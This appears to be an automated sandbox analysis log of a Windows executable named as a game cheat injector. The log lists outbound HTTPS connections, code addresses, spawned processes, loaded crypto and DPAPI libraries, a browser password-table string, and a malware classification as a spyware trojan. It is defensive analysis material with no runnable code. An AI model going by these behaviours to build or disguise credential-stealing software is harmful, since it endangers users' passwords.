Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.5:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.5:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.5:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.5:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.5:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49724 version: TLS 1.2

Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00786460	0_2_00786460
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00784CB0	0_2_00784CB0
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0074553B	0_2_0074553B
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00761F50	0_2_00761F50
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0077C870	0_2_0077C870
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0077D070	0_2_0077D070
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0075F860	0_2_0075F860
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00745856	0_2_00745856
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00753840	0_2_00753840
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0074E030	0_2_0074E030
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0076E020	0_2_0076E020
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0075D810	0_2_0075D810
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0077A810	0_2_0077A810
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00796010	0_2_00796010
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00741000	0_2_00741000
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_007A2800	0_2_007A2800
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0075A0F0	0_2_0075A0F0
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_007990F0	0_2_007990F0
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_007AB0F0	0_2_007AB0F0
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_007550E0	0_2_007550E0
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_007600E0	0_2_007600E0
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_007628C0	0_2_007628C0
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_007698A0	0_2_007698A0
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_007878A0	0_2_007878A0
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00786090	0_2_00786090
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00777170	0_2_00777170
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0074B960	0_2_0074B960
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00759150	0_2_00759150
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00756940	0_2_00756940
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00778130	0_2_00778130
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00796920	0_2_00796920
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00770110	0_2_00770110
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00794110	0_2_00794110
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_007AD90A	0_2_007AD90A
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0074C906	0_2_0074C906
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0075E900	0_2_0075E900
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00778900	0_2_00778900
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_007441D0	0_2_007441D0
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_007A41D0	0_2_007A41D0
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0077E9C0	0_2_0077E9C0
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_007501A0	0_2_007501A0
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_007589A0	0_2_007589A0
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00748990	0_2_00748990
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0075F190	0_2_0075F190
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00788A70	0_2_00788A70
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0074D250	0_2_0074D250
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00773A50	0_2_00773A50
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00780240	0_2_00780240
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0076CA30	0_2_0076CA30
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0076DA30	0_2_0076DA30
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_007B8230	0_2_007B8230
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_007A3A20	0_2_007A3A20
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_007A2210	0_2_007A2210
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00763200	0_2_00763200
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00791A00	0_2_00791A00
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00749AF6	0_2_00749AF6
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_007472E0	0_2_007472E0
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_007B22CA	0_2_007B22CA
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_007582B0	0_2_007582B0
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_007A12B0	0_2_007A12B0
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_007A7AB0	0_2_007A7AB0
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00757AA0	0_2_00757AA0
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00778AA0	0_2_00778AA0
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00763A90	0_2_00763A90
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00765290	0_2_00765290
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00769360	0_2_00769360
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00757B50	0_2_00757B50
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0078A350	0_2_0078A350
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00790350	0_2_00790350
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0078EB40	0_2_0078EB40
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0076D330	0_2_0076D330
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00767320	0_2_00767320
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00781320	0_2_00781320
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00748310	0_2_00748310
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0075B310	0_2_0075B310
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0074A300	0_2_0074A300
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00747B00	0_2_00747B00
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0074CB0F	0_2_0074CB0F
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0076A3F0	0_2_0076A3F0
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0076ABF0	0_2_0076ABF0
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0077ABF0	0_2_0077ABF0
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_007A93E0	0_2_007A93E0
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_007893D0	0_2_007893D0
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00797BB0	0_2_00797BB0
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00751BA0	0_2_00751BA0
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0075E3A0	0_2_0075E3A0
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_007753A0	0_2_007753A0
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00750B90	0_2_00750B90
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0075DB80	0_2_0075DB80
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0075EC70	0_2_0075EC70
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00773C70	0_2_00773C70
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00752450	0_2_00752450
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00765450	0_2_00765450
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00754430	0_2_00754430
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00750430	0_2_00750430
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00793430	0_2_00793430
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_007A8420	0_2_007A8420
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0075D410	0_2_0075D410
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00754C10	0_2_00754C10
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00776410	0_2_00776410
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00762C00	0_2_00762C00
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_007A1C00	0_2_007A1C00
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_007984C0	0_2_007984C0
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_007AA4C0	0_2_007AA4C0
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0076E490	0_2_0076E490
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0077B560	0_2_0077B560
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_007A3D60	0_2_007A3D60
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00749D30	0_2_00749D30
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00756530	0_2_00756530
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00763530	0_2_00763530
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0077FD20	0_2_0077FD20
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00753510	0_2_00753510
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00769D00	0_2_00769D00
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0079FD00	0_2_0079FD00
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00745DF6	0_2_00745DF6
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0076B5F0	0_2_0076B5F0
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00787DF0	0_2_00787DF0
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00750DE0	0_2_00750DE0
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00748DD0	0_2_00748DD0
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00777DD0	0_2_00777DD0
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0077F5D0	0_2_0077F5D0
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0077DDD9	0_2_0077DDD9
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_007655C0	0_2_007655C0
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0077C5A0	0_2_0077C5A0
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_007C5592	0_2_007C5592
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00762D80	0_2_00762D80
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0077DD80	0_2_0077DD80
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0074DE60	0_2_0074DE60
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00781660	0_2_00781660
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00789650	0_2_00789650
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_007A4640	0_2_007A4640
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00750620	0_2_00750620
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0076FE20	0_2_0076FE20
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0074C610	0_2_0074C610
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00760E10	0_2_00760E10
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_007A7E10	0_2_007A7E10
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0074B6F0	0_2_0074B6F0
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_007666F0	0_2_007666F0
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0077D6E0	0_2_0077D6E0
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_007786E0	0_2_007786E0
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0076C6D0	0_2_0076C6D0
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_007576C0	0_2_007576C0
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0077AEC0	0_2_0077AEC0
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00765EB0	0_2_00765EB0
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00783EA0	0_2_00783EA0
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0074E690	0_2_0074E690
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00795690	0_2_00795690
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00782E80	0_2_00782E80
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00759740	0_2_00759740
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00753F20	0_2_00753F20
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_007C3718	0_2_007C3718
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0074BF10	0_2_0074BF10
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00762F10	0_2_00762F10
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00749718	0_2_00749718
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0074A700	0_2_0074A700
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0074D7F0	0_2_0074D7F0
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_007907F0	0_2_007907F0
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00766FC0	0_2_00766FC0
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00792FC0	0_2_00792FC0
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_00786F90	0_2_00786F90
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0079FF90	0_2_0079FF90
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 2_3_00DA665A	2_3_00DA665A
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 2_3_00DA665A	2_3_00DA665A
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 2_3_00DA665A	2_3_00DA665A
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 2_3_00DA665A	2_3_00DA665A
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 2_3_00DA665A	2_3_00DA665A
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 2_3_00DA665A	2_3_00DA665A
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 2_3_00DA665A	2_3_00DA665A
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 2_3_00DA665A	2_3_00DA665A

Source: C:\Users\user\Desktop\CheatInjector.exe1.exe

Code function: String function: 007ADE10 appears 45 times

Source: C:\Users\user\Desktop\CheatInjector.exe1.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 8744 -s 136

Source: CheatInjector.exe1.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: CheatInjector.exe1.exe	Static PE information: Section: .bss ZLIB complexity 1.0003342689179633
Source: CheatInjector.exe1.exe	Static PE information: Section: .bss ZLIB complexity 1.0003342689179633

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@5/6@5/3

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8752:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess8744

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\52b7e554-6d2b-4825-a323-9116f7a1f8e0

Jump to behavior

Source: CheatInjector.exe1.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\CheatInjector.exe1.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: CheatInjector.exe1.exe, 00000002.00000003.1414977774.00000000036BB000.00000004.00000800.00020000.00000000.sdmp, CheatInjector.exe1.exe, 00000002.00000003.1447851763.000000000369D000.00000004.00000800.00020000.00000000.sdmp, CheatInjector.exe1.exe, 00000002.00000003.1414704258.0000000003795000.00000004.00000800.00020000.00000000.sdmp, CheatInjector.exe1.exe, 00000002.00000003.1443521061.0000000003793000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: CheatInjector.exe1.exe	Virustotal: Detection: 56%
Source: CheatInjector.exe1.exe	ReversingLabs: Detection: 57%

Source: C:\Users\user\Desktop\CheatInjector.exe1.exe

File read: C:\Users\user\Desktop\CheatInjector.exe1.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\CheatInjector.exe1.exe "C:\Users\user\Desktop\CheatInjector.exe1.exe"
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Process created: C:\Users\user\Desktop\CheatInjector.exe1.exe "C:\Users\user\Desktop\CheatInjector.exe1.exe"
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 8744 -s 136
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Process created: C:\Users\user\Desktop\CheatInjector.exe1.exe "C:\Users\user\Desktop\CheatInjector.exe1.exe"	Jump to behavior

Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: CheatInjector.exe1.exe

Static file information: File size 1372672 > 1048576

Source: CheatInjector.exe1.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0078E06E pushfd ; iretd	0_2_0078E06F
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0078E861 pushfd ; ret	0_2_0078E865
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0078C03E pushfd ; ret	0_2_0078C03F
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0078C828 pushfd ; ret	0_2_0078C82C
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0078B0E3 pushfd ; ret	0_2_0078B0E4
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0078D89A pushfd ; ret	0_2_0078D89E
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0078C150 pushfd ; ret	0_2_0078C154
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0078D952 pushfd ; ret	0_2_0078D956
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0078E926 pushfd ; ret	0_2_0078E92A
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0078DA86 pushfd ; ret	0_2_0078DA8A
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0078E345 pushfd ; ret	0_2_0078E349
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0078DB46 pushfd ; ret	0_2_0078DB5A
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0078C3EA pushfd ; ret	0_2_0078C3EB
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0078B3E1 pushfd ; ret	0_2_0078B3E5
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0078D3DB pushfd ; ret	0_2_0078D3DF
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0078D4DE pushfd ; ret	0_2_0078D4EC
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0078CCB8 pushfd ; ret	0_2_0078CCCC
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0078E4A0 pushfd ; ret	0_2_0078E4A1
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0078C488 pushfd ; ret	0_2_0078C4BB
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0078D5BE pushfd ; ret	0_2_0078D5BF
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0078E6F7 pushfd ; ret	0_2_0078E6FB
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0078CF67 pushfd ; ret	0_2_0078CF6B
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0078D759 pushfd ; ret	0_2_0078D75D
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_0078C752 pushfd ; ret	0_2_0078C756
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_007ADFCA push ecx; ret	0_2_007ADFDD
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 2_3_00DA80C6 push edi; iretd	2_3_00DA80CC
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 2_3_00DA80C6 push edi; iretd	2_3_00DA80CC
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 2_3_00DA80C6 push edi; iretd	2_3_00DA80CC
